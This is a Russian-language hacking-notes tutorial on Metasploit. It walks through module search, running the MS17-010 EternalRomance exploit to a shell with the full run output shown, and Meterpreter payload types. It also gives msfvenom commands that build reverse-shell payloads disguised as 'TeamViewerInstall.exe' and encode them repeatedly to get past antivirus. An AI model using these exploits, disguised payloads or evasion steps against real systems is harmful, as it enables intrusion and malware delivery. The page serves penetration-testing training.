> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/hacking-tools/exploitation/metasploit.md).

# Metasploit

## Metasploit:

{% hint style="info" %}
Metasploit — это платформа для тестирования на проникновение с открытым исходным кодом, широко используемая специалистами по ИБ для оценки уязвимости ИТ-систем. Она предоставляет набор инструментов и ресурсов для обнаружения, эксплуатации и устранения уязвимостей в сетях, операционных системах, приложениях и других ИТ-компонентах. В целом, Metasploit — это комплексный фреймворк для проведения тестирования на проникновение и аудита безопасности.
{% endhint %}

По умолчанию все основные файлы, связанные с Metasploit Framework, можно найти `/usr/share/metasploit-framework`

## Рабочий процесс Metasploit

1. Определите обнаруженный сервис, версию, платформу и вероятную уязвимость, прежде чем выбирать модуль.
2. Ищите модули по сервису, CVE, платформе, типу, рангу и названию, затем изучите информацию о модуле и ссылки.
3. Настройте параметры цели, параметры полезной нагрузки, адреса прослушивания и выбор цели с минимальной, но надёжной конфигурацией.
4. Выполняйте проверки там, где это возможно, запускайте только подтверждённые модули и сохраняйте вывод модуля для отчёта.
5. Управляйте сессиями, рабочими областями, трофеями, учётными данными, сервисами и хостами через базу данных Metasploit, когда оценка становится масштабнее.

### **Модули:**

Описанные выше модули в этом файле разделены на отдельные категории. Мы подробно рассмотрим их в следующих разделах. Они находятся в следующих папках:<br>

<figure><img src="/files/7318abb06e009c5b74c10c1e753750ddfbe74f13" alt=""><figcaption></figcaption></figure>

### **Плагины:**

Плагины дают пентестеру больше гибкости при их использовании `msfconsole`поскольку их можно легко загружать вручную или автоматически по мере необходимости, чтобы добавить дополнительную функциональность и автоматизацию во время нашей оценки.

<div data-full-width="true"><figure><img src="/files/c43a728c3ec23a4dd62c66af26e51c2cff19e813" alt=""><figcaption></figcaption></figure></div>

### Сценарии:

Функциональность Meterpreter и другие полезные сценарии.

<figure><img src="/files/1c68dbf7644170cce9df84f7094a25b8fb8b2182" alt="" width="471"><figcaption></figcaption></figure>

### **Инструменты:**

Утилиты командной строки, которые можно вызывать напрямую из `msfconsole`меню

<div data-full-width="true"><figure><img src="/files/dfa0ae28b71da0d671cc6c061d636f54633850d2" alt=""><figcaption></figcaption></figure></div>

## MSFconsole

<figure><img src="/files/8c81e82794d3f04f3ba8c668cd12aabb05f94b1e" alt=""><figcaption></figcaption></figure>

### Структура взаимодействия MSF

Структуру взаимодействия MSF можно разделить на пять основных категорий.

* Перечисление
* Подготовка
* Эксплуатация
* Повышение привилегий
* Постэксплуатация

{% hint style="info" %}
Такое деление облегчает нам поиск и выбор подходящих функций MSF более структурированным способом и работу с ними соответствующим образом. Каждая из этих категорий имеет разные подкатегории, предназначенные для конкретных целей. К ним относятся, например, проверка сервисов и исследование уязвимостей.
{% endhint %}

<figure><img src="/files/5f49130c5b72189a18e0c5935e187260fba5c21a" alt=""><figcaption></figcaption></figure>

## **Компоненты**

### Поиск модулей:

#### Когда мы находимся в `msfconsole`, мы можем выбрать из длинного списка, содержащего все доступные модули Metasploit. Каждый из них структурирован по папкам, которые будут выглядеть так:

**Синтаксис:**

```bash
<No.> <type>/<os>/<service>/<name>
```

**Пример**

```bash
794 exploit/windows/ftp/scriptftp_list
```

1. **№:**

У `No.`тег будет отображаться, чтобы выбрать нужный нам эксплойт позже во время поиска. Мы увидим `No.`позже, насколько полезным может быть этот тег для выбора конкретных модулей Metasploit.

2. **Тип:**

| Тип:                | **Описание**                                                                                                               |
| ------------------- | -------------------------------------------------------------------------------------------------------------------------- |
| `Вспомогательные`   | Функции сканирования, фаззинга, обнаружения и администрирования. Обеспечивают поддержку и дополнительную функциональность. |
| `Кодировщики`       | Обеспечивают сохранность полезных нагрузок до достижения ими цели.                                                         |
| `Эксплойты`         | Модули, которые используют уязвимость для доставки полезной нагрузки.                                                      |
| `NOP'ы`             | (Код без операции) Поддерживают одинаковый размер полезной нагрузки между попытками эксплуатации.                          |
| `Полезные нагрузки` | Код выполняется удалённо и обращается обратно к машине атакующего, чтобы установить соединение или оболочку.               |
| `Плагины`           | Дополнительные сценарии могут быть интегрированы в `msfconsole` оценку и сосуществовать.                                   |
| `Пост`              | Широкий набор модулей для сбора информации, более глубокого продвижения и связанных задач постэксплуатации.                |

3. **ОС:**

У `ОС`тег указывает операционную систему и архитектуру, для которых был создан модуль. Естественно, разные операционные системы требуют выполнения разных кодов, чтобы достичь желаемого результата 4. **Сервис:**

У `Сервис` тег относится к уязвимому сервису, работающему на целевой машине. Для некоторых модулей, таких как `вспомогательный`  или `post`, этот тег может относиться к более общей активности, например `gather`, то есть, например, к сбору учётных данных. 5. **Имя:**

Наконец, `Название`тег объясняет фактическое действие, которое можно выполнить с помощью этого модуля, созданного для конкретной цели.

**MSF — функция поиска**

Например, мы можем попытаться найти `EternalRomance`эксплойт для более старых операционных систем Windows. Это может выглядеть так:

`search eternalromance`

<div data-full-width="true"><figure><img src="/files/56861f2fedaac717ec847821732190bc85ae7c63" alt=""><figcaption></figcaption></figure></div>

### **Точный поиск:**

Мы также можем сделать наш поиск немного более грубым и сузить его до одной категории сервисов. Например, для CVE мы могли бы указать год (`cve:<year>`), платформу Windows (`platform:<os>`), тип модуля, который мы хотим найти (`type:<auxiliary/exploit/post>`), рейтинг доверия (`rank:<rank>`), и имя поиска (`<pattern>`). Это сократит результаты до тех, которые соответствуют всему перечисленному выше.

```bash
search type:exploit platform:windows cve:2021 rank:excellent microsoft
```

<div data-full-width="true"><figure><img src="/files/711a9f10ffe165fa864ed7d8dd0086410319fa86" alt=""><figcaption></figcaption></figure></div>

### Использование модулей:

Чтобы выбрать наш первый модуль, сначала нужно найти подходящий. Допустим, у нас есть цель, на которой запущена версия SMB, уязвимая к эксплойтам EternalRomance (MS17/\_010). Во время сканирования цели мы обнаружили, что порт SMB-сервера 445 открыт.

**Поиск MS17/\_010**

`search ms17_010`

<div data-full-width="true"><figure><img src="/files/18489626259d27243188a8a08a43c2b87ecd9ae4" alt=""><figcaption></figcaption></figure></div>

**MSF — выбор модуля**

Чтобы использовать модуль в Metasploit, сначала введите `use` команду, а затем нужный номер модуля, после чего используйте `options` команду, чтобы просмотреть доступные для этого модуля сведения и настройки.

```bash
Подходящие модули
================

   #  Имя                                  Дата раскрытия  Ранг    Проверка  Описание
   -  ----                                  ---------------  ----    -----  -----------
   0  exploit/windows/smb/ms17_010_psexec   2017-03-14       normal  Да    MS17-010 EternalRomance/EternalSynergy/EternalChampion — удалённое выполнение кода Windows через SMB
   1  auxiliary/admin/smb/ms17_010_command  2017-03-14       normal  Нет   MS17-010 EternalRomance/EternalSynergy/EternalChampion — удалённое выполнение команд Windows через SMB

msf6 > use 0
msf6 exploit(windows/smb/ms17_010_psexec) > options

Параметры модуля (exploit/windows/smb/ms17_010_psexec):

   Имя                  Текущее значение                          Обязательно  Описание
   ----                  ---------------                          --------  -----------
   DBGTRACE              false                                    yes       Показать дополнительную отладочную информацию трассировки
   LEAKATTEMPTS          99                                       yes       Сколько раз пытаться утечь транзакцию
   NAMEDPIPE                                                      no        Именованный канал, к которому можно подключиться (оставьте пустым для авто)
   NAMED_PIPES           /usr/share/metasploit-framework/data/wo  yes       Список именованных каналов для проверки
                         rdlists/named_pipes.txt
   RHOSTS                                                         yes       Целевой хост(ы), см. https://github.com/rapid7/metasploit-framework
                                                                            /wiki/Using-Metasploit
   RPORT                 445                                      yes       Целевой порт (TCP)
   SERVICE_DESCRIPTION                                            no        Описание сервиса, используемое на цели для красивого вывода
   SERVICE_DISPLAY_NAME                                           no        Отображаемое имя сервиса
   SERVICE_NAME                                                   no        Имя сервиса
   SHARE                 ADMIN$                                   yes       Общий ресурс для подключения; может быть административным ресурсом (ADMIN$,C$,...) или не
                                                                            обычным общим ресурсом папки с чтением/записью
   SMBDomain             .                                        no        Домен Windows, используемый для аутентификации
   SMBPass                                                        no        Пароль для указанного имени пользователя
   SMBUser                                                        no        Имя пользователя для аутентификации

Параметры полезной нагрузки (windows/meterpreter/reverse_tcp):

   Имя      Текущее значение  Обязательно  Описание
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Способ выхода (допустимо: '', seh, thread, process, none)
   LHOST                      yes       Адрес прослушивания (можно указать интерфейс)
   LPORT     4444             yes       Порт прослушивания

Цель эксплойта:

   Id  Имя
   --  ----
   0   Автоматически
```

**Информация о модуле**

Мы можем использовать `info`команду после выбора модуля, если хотим узнать о нём больше. Это даст нам ряд сведений, которые могут быть для нас важны.

```bash
msf6 exploit(windows/smb/ms17_010_psexec) > info

       Имя: MS17-010 EternalRomance/EternalSynergy/EternalChampion — удалённое выполнение кода Windows через SMB
     Модуль: exploit/windows/smb/ms17_010_psexec
   Платформа: Windows
       Архитектура: x86, x64
 Привилегированный: Нет
    Лицензия: Metasploit Framework License (BSD)
       Ранг: Normal
  Раскрыто: 2017-03-14

Предоставлено:
  sleepya
  zerosum0x0
  Shadow Brokers
  Equation Group

Доступные цели:
  Id  Имя
  --  ----
  0   Автоматически
  1   PowerShell
  2   Нативная загрузка
  3   Загрузка MOF

Поддерживается проверка:
  Да

Базовые параметры:
  Имя                  Текущее значение                          Обязательно  Описание
  ----                  ---------------                          --------  -----------
  DBGTRACE              false                                    yes       Показать дополнительную отладочную информацию трассировки
  LEAKATTEMPTS          99                                       yes       Сколько раз пытаться утечь транзакцию
  NAMEDPIPE                                                      no        Именованный канал, к которому можно подключиться (оставьте пустым для авто)
  NAMED_PIPES           /usr/share/metasploit-framework/data/wo  yes       Список именованных каналов для проверки
                        rdlists/named_pipes.txt
  RHOSTS                                                         yes       Целевой хост(ы), см. https://github.com/rapid7/metasploit-framework/
                                                                           wiki/Using-Metasploit
  RPORT                 445                                      yes       Целевой порт (TCP)
  SERVICE_DESCRIPTION                                            no        Описание сервиса, используемое на цели для красивого вывода
  SERVICE_DISPLAY_NAME                                           no        Отображаемое имя сервиса
  SERVICE_NAME                                                   no        Имя сервиса
  SHARE                 ADMIN$                                   yes       Общий ресурс для подключения; может быть административным ресурсом (ADMIN$,C$,...) или не
                                                                           обычным общим ресурсом папки с чтением/записью
  SMBDomain             .                                        no        Домен Windows, используемый для аутентификации
  SMBPass                                                        no        Пароль для указанного имени пользователя
  SMBUser                                                        no        Имя пользователя для аутентификации

Информация о полезной нагрузке:
  Space: 3072

Описание:
  Этот модуль использует SMB с уязвимостями MS17-010, чтобы
  получить примитив write-what-where. Затем это будет использовано, чтобы
  перезаписать информацию сеанса соединения как
  сеанс Administrator. После этого выполняется обычный код полезной нагрузки psexec.
  Использует путаницу типов между запросами Transaction и WriteAndX, а также состояние гонки в запросах Transaction,
  как это видно в эксплойтах EternalRomance, EternalChampion и EternalSynergy.
  Эта цепочка эксплуатации надёжнее, чем эксплойт EternalBlue,
  но требует именованного канала.
  требует именованного канала.

Ссылки:
  https://docs.microsoft.com/en-us/security-updates/SecurityBulletins/2017/MS17-010
  https://nvd.nist.gov/vuln/detail/CVE-2017-0143
  https://nvd.nist.gov/vuln/detail/CVE-2017-0146
  https://nvd.nist.gov/vuln/detail/CVE-2017-0147
  https://github.com/worawit/MS17-010
  https://hitcon.org/2017/CMT/slide-files/d2_s2_r0.pdf
  https://blogs.technet.microsoft.com/srd/2017/06/29/eternal-champion-exploit-analysis/

Также известно как:
  ETERNALSYNERGY
  ETERNALROMANCE
  ETERNALCHAMPION
  ETERNALBLUE
```

**Определение цели**

Когда мы уверены, что выбранный модуль подходит для нашей цели, нам нужно задать некоторые параметры, чтобы настроить модуль для успешного использования на целевом хосте, например указать цель ( `RHOST` или `RHOSTS`).

```bash
set RHOSTS 10.10.10.100
```

Кроме того, существует `setg` параметр, который делает выбранные нами настройки постоянными до перезапуска программы.

<figure><img src="/files/c230120e6e1081cc4935b4ed102778bfcbbf9a71" alt=""><figcaption></figcaption></figure>

**Запуск эксплойтов**

Когда всё настроено и готово к работе, мы можем приступить к запуску атаки. Команда: `run`

```powerquery
msf6 exploit(windows/smb/ms17_010_psexec) > run

[*] Запущен обработчик reverse TCP на 10.10.14.15:4444
[*] 10.10.10.40:445 - Используется auxiliary/scanner/smb/smb_ms17_010 в качестве проверки
[+] 10.10.10.40:445       - Хост, вероятно, УЯЗВИМ к MS17-010! - Windows 7 Professional 7601 Service Pack 1 x64 (64-bit)
[*] 10.10.10.40:445       - Просканировано 1 из 1 хостов (100% завершено)
[*] 10.10.10.40:445 - Подключение к цели для эксплуатации.
[+] 10.10.10.40:445 - Соединение для эксплуатации установлено.
[+] 10.10.10.40:445 - Выбранная ОС цели соответствует ОС, указанной в ответе SMB
[*] 10.10.10.40:445 - Дамп необработанного буфера CORE (42 байта)
[*] 10.10.10.40:445 - 0x00000000  57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73  Windows 7 Profes
[*] 10.10.10.40:445 - 0x00000010  73 69 6f 6e 61 6c 20 37 36 30 31 20 53 65 72 76  sional 7601 Serv
[*] 10.10.10.40:445 - 0x00000020  69 63 65 20 50 61 63 6b 20 31                    ice Pack 1
[+] 10.10.10.40:445 - Выбранная архитектура цели соответствует архитектуре, указанной в ответе DCE/RPC
[*] 10.10.10.40:445 - Попытка эксплуатации с 12 размещениями Groom.
[*] 10.10.10.40:445 - Отправка всех фрагментов пакета эксплойта, кроме последнего
[*] 10.10.10.40:445 - Начало подготовки непейджируемого пула
[+] 10.10.10.40:445 - Отправка буферов SMBv2
[+] 10.10.10.40:445 - Закрытие соединения SMBv1, создающее свободную дыру рядом с буфером SMBv2.
[*] 10.10.10.40:445 - Отправка финальных буферов SMBv2.
[*] 10.10.10.40:445 - Отправка последнего фрагмента пакета эксплойта!
[*] 10.10.10.40:445 - Получение ответа от пакета эксплойта
[+] 10.10.10.40:445 - Перезапись ETERNALBLUE успешно завершена (0xC000000D)!
[*] 10.10.10.40:445 - Отправка яйца в повреждённое соединение.
[*] 10.10.10.40:445 - Активация освобождения повреждённого буфера.
[*] Открыта сессия командной оболочки 1 (10.10.14.15:4444 -> 10.10.10.40:49158) в 2020-08-13 21:37:21 +0000
[+] 10.10.10.40:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.10.10.40:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.10.10.40:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

meterpreter> shell

C:/Windows/system32>
```

## Цели

### **Показать цели:**

У `show targets`команда, введённая в просмотре модуля эксплойта, покажет все доступные уязвимые цели для данного конкретного эксплойта. Если оставить выбор на `Автоматически`msfconsole будет знать, что нужно выполнить обнаружение сервиса на указанной цели перед запуском успешной атаки.

<figure><img src="/files/d3c3dd9a19ebd3e184ca95e2de1bf595541dcbc0" alt=""><figcaption></figcaption></figure>

Однако, если мы знаем, какие версии запущены на нашей цели, мы можем использовать `set target <index no.>`команду, чтобы выбрать цель из списка.

```shell-session
msf6 exploit(windows/browser/ie_execcommand_uaf) > set target 6

target => 6
```

### Полезные нагрузки:

{% hint style="info" %}
В `полезная нагрузка` В Metasploit модуль помогает exploit-модулю вернуть атакующему (обычно) `оболочку` . Полезные нагрузки отправляются вместе с самим эксплойтом, чтобы обойти стандартные процедуры уязвимого сервиса (задача эксплойта), затем выполняются на целевой операционной системе, обычно возвращая обратное соединение атакующему и выполняя задачу полезной нагрузки.
{% endhint %}

В инфраструктуре Metasploit есть три разных типа модулей полезной нагрузки: одиночные, стаджеры и этапы.

1. **Одиночные полезные нагрузки** :

> Простая полезная нагрузка содержит весь код, необходимый для эксплуатации и выполнения, в одной автономной полезной нагрузке. Это делает их более стабильными, потому что для запуска есть только один элемент. Однако они могут быть ограничены по размеру, поскольку некоторые атаки не поддерживают слишком большие полезные нагрузки. Они идеально подходят для немедленных действий, таких как добавление пользователя или запуск процесса на целевой машине.

2. **Стаджеры полезной нагрузки:**

> Стаджер-полезные нагрузки работают с полезными нагрузками Stage, разделяя загрузку на несколько этапов. Стаджер находится на системе атакующего и инициирует сетевое соединение с целью, когда этап выполняется на удалённой машине. Они спроектированы так, чтобы быть маленькими и надёжными, что упрощает установление соединений. Для Windows также доступны стейджеры в версиях "NX" (для совместимости с защитой DEP) и "NO-NX", причём NX более громоздкий, но подходит для современных систем.

3. **Этапы полезной нагрузки**:

> Этапы полезной нагрузки — это компоненты, загружаемые стаджерами для расширенной функциональности и без ограничений по размеру. Они используются для сложных нагрузок, таких как Meterpreter или внедрение VNC. Чтобы минимизировать ошибки, этапы используют промежуточные стаджеры для обеспечения стабильной загрузки. Они особенно подходят для многоэтапных атак, требующих надёжного и устойчивого потока данных.

### Поэтапные полезные нагрузки:

**полезные нагрузки по этапам**

Как пользователи Metasploit, мы будем встречать их под общими названиями `reverse_tcp`, `reverse_https`, и `bind_tcp`. Например, в разделе `show payloads`можно искать полезные нагрузки, которые выглядят следующим образом:

<figure><img src="/files/ebdc6a0978ff4f1da41e968182bdfb33cbd865a4" alt=""><figcaption></figcaption></figure>

### **Полезные нагрузки Meterpreter:**

`Meterpreter` — это продвинутая полезная нагрузка, использующая внедрение DLL для установления стабильного и постоянного соединения полностью в памяти, что затрудняет обнаружение. Она позволяет динамически загружать сценарии и плагины. После запуска она открывает сеанс, предоставляющий специальные команды для управления целевой системой: `сбор нажатий клавиш, восстановление паролей, прослушивание микрофона и многое другое.`

### Поиск полезных нагрузок:

Чтобы выбрать нашу первую полезную нагрузку, нам нужно знать, что именно мы хотим сделать на целевой машине. Например, если нам нужен постоянный доступ, мы, вероятно, захотим выбрать полезную нагрузку Meterpreter.

Просматривая список выше, мы находим раздел, содержащий `Полезные нагрузки Meterpreter для Windows (x64)`.

<pre class="language-bash"><code class="lang-bash">   515  windows/x64/meterpreter/bind_ipv6_tcp                                manual  Нет    Windows Meterpreter (Reflective Injection x64), загрузчик Windows x64 IPv6 Bind TCP
<strong>   516  windows/x64/meterpreter/bind_ipv6_tcp_uuid                           manual  Нет    Windows Meterpreter (Reflective Injection x64), загрузчик Windows x64 IPv6 Bind TCP с поддержкой UUID
</strong>   517  windows/x64/meterpreter/bind_named_pipe                              manual  Нет    Windows Meterpreter (Reflective Injection x64), загрузчик Windows x64 Bind Named Pipe
   518  windows/x64/meterpreter/bind_tcp                                     manual  Нет    Windows Meterpreter (Reflective Injection x64), загрузчик Windows x64 Bind TCP
   519  windows/x64/meterpreter/bind_tcp_rc4                                 manual  Нет    Windows Meterpreter (Reflective Injection x64), загрузчик Bind TCP (шифрование этапа RC4, Metasm)
   520  windows/x64/meterpreter/bind_tcp_uuid                                manual  Нет    Windows Meterpreter (Reflective Injection x64), загрузчик Bind TCP с поддержкой UUID (Windows x64)
   521  windows/x64/meterpreter/reverse_http                                 manual  Нет    Windows Meterpreter (Reflective Injection x64), загрузчик Windows x64 Reverse HTTP (wininet)
   522  windows/x64/meterpreter/reverse_https                                manual  Нет    Windows Meterpreter (Reflective Injection x64), загрузчик Windows x64 Reverse HTTPS (wininet)
   523  windows/x64/meterpreter/reverse_named_pipe                           manual  Нет    Windows Meterpreter (Reflective Injection x64), загрузчик Windows x64 Reverse Named Pipe (SMB)
   524  windows/x64/meterpreter/reverse_tcp                                  manual  Нет    Windows Meterpreter (Reflective Injection x64), загрузчик Windows x64 Reverse TCP
   525  windows/x64/meterpreter/reverse_tcp_rc4                              manual  Нет    Windows Meterpreter (Reflective Injection x64), загрузчик Reverse TCP (шифрование этапа RC4, Metasm)
   526  windows/x64/meterpreter/reverse_tcp_uuid                             manual  Нет    Windows Meterpreter (Reflective Injection x64), загрузчик Reverse TCP с поддержкой UUID (Windows x64)
   527  windows/x64/meterpreter/reverse_winhttp                              manual  Нет    Windows Meterpreter (Reflective Injection x64), загрузчик Windows x64 Reverse HTTP (winhttp)
   528  windows/x64/meterpreter/reverse_winhttps                             manual  Нет    Windows Meterpreter (Reflective Injection x64), загрузчик Windows x64 Reverse HTTPS (winhttp)
   529  windows/x64/meterpreter_bind_named_pipe                              manual  Нет    Windows Meterpreter Shell, встроенный Bind Named Pipe (x64)
   530  windows/x64/meterpreter_bind_tcp                                     manual  Нет    Windows Meterpreter Shell, встроенный Bind TCP (x64)
   531  windows/x64/meterpreter_reverse_http                                 manual  Нет    Windows Meterpreter Shell, встроенный Reverse HTTP (x64)
   532  windows/x64/meterpreter_reverse_https                                manual  Нет    Windows Meterpreter Shell, встроенный Reverse HTTPS (x64)
   533  windows/x64/meterpreter_reverse_ipv6_tcp                             manual  Нет    Windows Meterpreter Shell, встроенный Reverse TCP (IPv6) (x64)
   534  windows/x64/meterpreter_reverse_tcp                                  manual  Нет    Windows Meterpreter Shell, встроенный Reverse TCP x64
</code></pre>

### **Поиск конкретной полезной нагрузки:**

Мы также можем использовать `grep`для фильтрации конкретных терминов. Это ускорит поиск и, следовательно, наш выбор.

```bash
grep meterpreter show payloads
```

<figure><img src="/files/d9b4bc5bf92498a1249fad6cece3152b1c68988e" alt=""><figcaption></figcaption></figure>

Теперь мы можем добавить ещё одну `grep`команду после первой и искать `reverse_tcp`.

```bash
grep meterpreter grep reverse_tcp show payloads
```

<figure><img src="/files/7c3689067d3efde4958e6ef77298c843815ad7a2" alt=""><figcaption></figcaption></figure>

### **Выбор полезной нагрузки:**

Мы используем `set payload <no.>`только после того, как сначала выберем модуль Exploit.

```bash
msf6 exploit(windows/smb/ms17_010_eternalblue) > set payload 15

payload => windows/x64/meterpreter/reverse_tcp
```

### Использование полезных нагрузок:

Для части Exploit нам нужно определить следующие элементы:

| **параметра** | **Описание**                               |
| ------------- | ------------------------------------------ |
| `RHOSTS`      | IP-адрес удалённого хоста, целевой машины. |
| `RPORT`       | Порт удалённого хоста.                     |

Для части полезной нагрузки нам нужно определить следующие элементы:

| **параметра** | **Описание**                                                          |
| ------------- | --------------------------------------------------------------------- |
| `LHOST`       | IP-адрес хоста, машины атакующего.                                    |
| `LPORT`       | Обычно не требует изменений; проверьте, что порт уже не используется. |

### Типы полезных нагрузок:

| **Полезная нагрузка**             | **Описание**                                                                            |
| --------------------------------- | --------------------------------------------------------------------------------------- |
| `generic/custom`                  | Универсальный обработчик общего назначения                                              |
| `generic/shell_bind_tcp`          | Универсальный обработчик общего назначения, обычная shell-оболочка, TCP bind-соединение |
| `generic/shell_reverse_tcp`       | Универсальный многоцелевой прослушиватель, обычная оболочка, обратное TCP-соединение    |
| `windows/x64/exec`                | Выполняет произвольную команду (Windows x64)                                            |
| `windows/x64/loadlibrary`         | Загружает произвольный путь к библиотеке x64                                            |
| `windows/x64/messagebox`          | Создает диалоговое окно через MessageBox с настраиваемыми заголовком, текстом и значком |
| `windows/x64/shell_reverse_tcp`   | Обычная оболочка, одиночная полезная нагрузка, обратное TCP-соединение                  |
| `windows/x64/shell/reverse_tcp`   | Обычная оболочка, стейджер плюс стадия, обратное TCP-соединение                         |
| `windows/x64/shell/bind_ipv6_tcp` | Обычная оболочка, стейджер плюс стадия, IPv6 TCP bind-стейджер                          |
| `windows/x64/meterpreter/$`       | Полезная нагрузка Meterpreter плюс вышеперечисленные варианты                           |
| `windows/x64/powershell/$`        | Интерактивные сеансы PowerShell плюс вышеперечисленные варианты                         |
| `windows/x64/vncinject/$`         | Сервер VNC (рефлексивная инъекция) плюс вышеперечисленные варианты                      |

## Кодировщики

{% hint style="info" %}
За те 15 лет, что существует фреймворк Metasploit, `Кодировщики`мы помогали делать полезные нагрузки совместимыми с разными архитектурами процессоров, одновременно способствуя обходу антивирусов. `Кодировщики`вступает в игру с ролью модификации полезной нагрузки для запуска на разных операционных системах и архитектурах. Эти архитектуры включают:
{% endhint %}

| `x64` | `x86` | `sparc` | `ppc` | `mips` |
| ----- | ----- | ------- | ----- | ------ |

### Выбор энкодера:

> Если бы мы хотели создать свою собственную полезную нагрузку, мы могли бы сделать это через `msfpayload`, но затем нам пришлось бы закодировать ее в соответствии с архитектурой ОС цели, используя `msfencode`после этого. Канал брал бы вывод одной команды и передавал его следующей, в результате чего генерировалась бы закодированная полезная нагрузка, готовая к отправке и выполнению на целевой машине.

{% code overflow="wrap" %}

```sh
msfvenom -p windows/shell_reverse_tcp LHOST=127.0.0.1 LPORT=4444 -b '/x00' -f perl -e x86/shikata_ga_nai
```

{% endcode %}

<figure><img src="/files/a87215f55f368e1a3706585e1e28e0aa72b151e4" alt=""><figcaption></figcaption></figure>

### **Генерация полезной нагрузки — без кодирования:**

{% code overflow="wrap" %}

```bash
msfvenom -a x86 --platform windows -p windows/shell/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -b "/x00" -f perl
```

{% endcode %}

Теперь нам следует взглянуть на первую строку `$buf`и посмотреть, как она изменяется при применении энкодера, такого как `shikata_ga_nai`.

<figure><img src="/files/d030659abf2ff34691de8038cf000a3392f63bf5" alt=""><figcaption></figcaption></figure>

### **Генерация полезной нагрузки — с кодированием:**

```bash
msfvenom -a x86 --platform windows -p windows/shell/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -b "/x00" -f perl -e x86/shikata_ga_nai
```

<figure><img src="/files/296ffed0eb525af7228b537fb48739eb23d97767" alt=""><figcaption></figcaption></figure>

### **Кодирование Shikata Ga Nai:**

> Возьмем приведенный выше пример как есть, как гипотетический пример. Если бы мы закодировали исполняемую полезную нагрузку всего один раз с помощью SGN, ее, скорее всего, обнаружили бы большинство современных антивирусов. Давайте на минуту посмотрим на это. Беря `msfvenom`, в индексе фреймворка, который отвечает за генерацию полезных нагрузок и схемы кодирования, у нас есть следующая запись:

{% code overflow="wrap" %}

```bash
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=8080 -e x86/shikata_ga_nai -f exe -o ./TeamViewerInstall.exe
```

{% endcode %}

<figure><img src="/files/772b5d01f28cbad50242b93531c360a7cd4da53a" alt="" width="563"><figcaption></figcaption></figure>

Это создаст полезную нагрузку в `exe`формате TeamViewerInstall.exe, который должен запускаться на процессорах архитектуры x86 для платформы Windows, со скрытой полезной нагрузкой Meterpreter shell reverse/\_tcp, однократно закодированной схемой Shikata Ga Nai. Возьмем результат и загрузим его в VirusTotal.

<figure><img src="/files/70df96377e47a6c2147b9af3ca77957cc126eae5" alt=""><figcaption></figcaption></figure>

Лучшим вариантом было бы попробовать пропустить его через несколько итераций той же схемы кодирования:

{% code overflow="wrap" %}

```bash
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=8080 -e x86/shikata_ga_nai -f exe -i 10 -o /root/Desktop/TeamViewerInstall.exe
```

{% endcode %}

<figure><img src="/files/4531da3816da94411c63d1c659099e726bd5a941" alt="" width="563"><figcaption></figcaption></figure>

Как мы видим, этого все еще недостаточно, чтобы обойти антивирусы. Существует большое количество продуктов, которые по-прежнему обнаруживают полезную нагрузку. В качестве альтернативы Metasploit предлагает инструмент под названием `msf-virustotal`который мы можем использовать с API-ключом для анализа наших полезных нагрузок. Однако для этого требуется бесплатная регистрация на VirusTotal.

### **VirusTotal:**

```shell-session
jord4n@htb[/htb]$ msf-virustotal -k <API key> -f TeamViewerInstall.exe

[*] Используется API-ключ: <API key>
[*] Подождите, пока я загружаю TeamViewerInstall.exe...
[*] VirusTotal: запрос на сканирование успешно поставлен в очередь, зайдите позже за отчетом
[*] Контрольная сумма MD5 образца    : 4f54cc46e2f55be168cc6114b74a3130
[*] Контрольная сумма SHA1 образца   : 53fcb4ed92cf40247782de41877b178ef2a9c5a9
[*] Контрольная сумма SHA256 образца : 66894cbecf2d9a31220ef811a2ba65c06fdfecddbc729d006fdab10e43368da8
[*] Ссылка на анализ: https://www.virustotal.com/gui/file/<SNIP>/detection/f-<SNIP>-1651750343
[*] Запрашиваю отчет...
[*] Получен код -2. Жду еще 60 секунд...
[*] Получен код -2. Жду еще 60 секунд...
[*] Получен код -2. Жду еще 60 секунд...
[*] Получен код -2. Жду еще 60 секунд...
[*] Получен код -2. Жду еще 60 секунд...
[*] Получен код -2. Жду еще 60 секунд...
[*] Отчет анализа: TeamViewerInstall.exe (51 / 68): 66894cbecf2d9a31220ef811a2ba65c06fdfecddbc729d006fdab10e43368da8
==================================================================================================================

 Антивирус             Обнаружено  Версия                                                         Результат                                                     Обновление
 ---------             --------  -------                                                         ------                                                     ------
 ALYac                 true      1.1.3.1                                                         Trojan.CryptZ.Gen                                          20220505
 APEX                  true      6.288                                                           Вредоносный                                                  20220504
 AVG                   true      21.1.5827.0                                                     Win32:SwPatch [Wrm]                                        20220505
 Acronis               true      1.2.0.108                                                       подозрительный                                             20220426
 Ad-Aware              true      3.0.21.193                                                      Trojan.CryptZ.Gen                                          20220505
 AhnLab-V3             true      3.21.3.10230                                                    Trojan/Win32.Shell.R1283                                   20220505
 Alibaba               false     0.3.0.5                                                                                                                    20190527
 Antiy-AVL             false     3.0                                                                                                                        20220505
 Arcabit               true      1.0.0.889                                                       Trojan.CryptZ.Gen                                          20220505
 Avast                 true      21.1.5827.0                                                     Win32:SwPatch [Wrm]                                        20220505
 Avira                 true      8.3.3.14                                                        TR/Patched.Gen2                                            20220505
 Baidu                 false     1.0.0.2                                                                                                                    20190318
 BitDefender           true      7.2                                                             Trojan.CryptZ.Gen                                          20220505
 BitDefenderTheta      true      7.2.37796.0                                                     Gen:NN.ZexaF.34638.eq1@aC@Q!ici                            20220428
 Bkav                  true      1.3.0.9899                                                      W32.FamVT.RorenNHc.Trojan                                  20220505
 CAT-QuickHeal         true      14.00                                                           Trojan.Swrort.A                                            20220505
 CMC                   false     2.10.2019.1                                                                                                                20211026
 ClamAV                true      0.105.0.0                                                       Win.Trojan.MSShellcode-6360728-0                           20220505
